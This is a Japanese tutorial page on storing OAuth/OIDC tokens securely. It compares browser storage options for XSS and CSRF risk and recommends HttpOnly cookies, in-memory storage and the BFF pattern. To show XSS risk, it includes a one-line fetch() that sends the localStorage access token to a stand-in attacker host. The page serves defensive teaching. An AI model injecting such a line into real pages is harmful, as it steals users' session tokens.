OIDC / OAuth 2.0

トークンの安全な保存方法

セキュリティ

アクセストークンやリフレッシュトークンをどこに保存すべきか。各保存方法のリスクと推奨パターンを比較します。

保存方法の比較

localStorage

危険

XSS攻撃で簡単にトークンを盗まれる。最も危険な保存場所。

XSS: 脆弱CSRF: 安全持続性: 永続(手動削除まで)

sessionStorage

危険

localStorageよりはマシだが、XSSに対しては同様に脆弱。タブごとに独立。

XSS: 脆弱CSRF: 安全持続性: タブを閉じるまで

Cookie(通常)

危険

XSSとCSRFの両方に脆弱。JavaScript からアクセス可能。

XSS: 脆弱CSRF: 脆弱持続性: 有効期限まで

HttpOnly Cookie

推奨

JavaScriptからアクセス不可。SameSite属性でCSRFも防止可能。推奨。

XSS: 安全CSRF: 脆弱持続性: 有効期限まで

メモリ(変数)

推奨

最も安全だが、リロードでトークンが消える。サイレントリフレッシュとの併用が必要。

XSS: 安全CSRF: 安全持続性: ページリロードで消失
localStorageが危険な理由

localStorageに保存されたトークンは、同一オリジン上のすべてのJavaScriptからアクセスできます。 XSS(クロスサイトスクリプティング)攻撃が成功した場合、 攻撃者のスクリプトが簡単にトークンを盗み出せます。

// XSS攻撃者が実行するスクリプト(たった1行で盗める)
fetch("https://evil.example.com/steal?token=" + localStorage.getItem("access_token"));

サードパーティのnpmパッケージ、広告スクリプト、ブラウザ拡張機能など、 予期しないJavaScriptが実行される経路は多数存在します。 localStorageにトークンを保存することは、これらすべてを信頼することを意味します。

HttpOnly Cookieのメリット

HttpOnly 属性が付与されたCookieは、JavaScriptから一切アクセスできません。 ブラウザが自動的にリクエストに付与するため、XSS攻撃でトークンを盗むことが 不可能になります。

Set-Cookie: session=abc123;
  HttpOnly;        // JavaScriptからアクセス不可
  Secure;          // HTTPSでのみ送信
  SameSite=Lax;    // クロスサイトリクエストで送信されない
  Path=/;          // すべてのパスで有効
  Max-Age=3600     // 1時間で失効

SameSite=Lax または SameSite=Strict を設定することで、 CSRF攻撃も防止できます。モダンブラウザではデフォルトで SameSite=Lax が適用されます。

BFF (Backend for Frontend) パターン

BFFパターンは、SPAのセキュリティ問題を根本的に解決するアーキテクチャです。 トークンをブラウザに一切渡さず、サーバーサイドで管理します。

ブラウザ (SPA)              BFFサーバー            認可サーバー
    |                          |                      |
    |--- セッションCookie ----->|                      |
    |   (トークンなし)          |                      |
    |                          |--- アクセストークン -->|
    |                          |   (サーバー側で保持)   |
    |                          |                      |
    |<-- APIレスポンス ---------|<-- リソース ----------|
    |   (データのみ)            |                      |
  • 1.ブラウザとBFFサーバー間はHttpOnly Cookieのセッションで認証
  • 2.トークンはBFFサーバーのメモリまたはセッションストアに保存
  • 3.APIリクエストはBFFサーバーがプロキシし、トークンを付与
  • 4.ブラウザ上にトークンが存在しないため、XSSでもトークン漏洩が起きない
推奨パターン
アプリケーション推奨保存方法
SPA(バックエンドあり)BFFパターン(HttpOnly Cookie + サーバー側トークン管理)
SPA(バックエンドなし)メモリ保存 + サイレントリフレッシュ、またはService Worker内で管理
サーバーサイドアプリサーバーセッション内(メモリまたはデータストア)
モバイルアプリOS提供のセキュアストレージ(Keychain / Keystore)

次のステップ

次は よくある攻撃と対策 で、OAuth/OIDCに対する代表的な攻撃パターンと防御方法を学びましょう。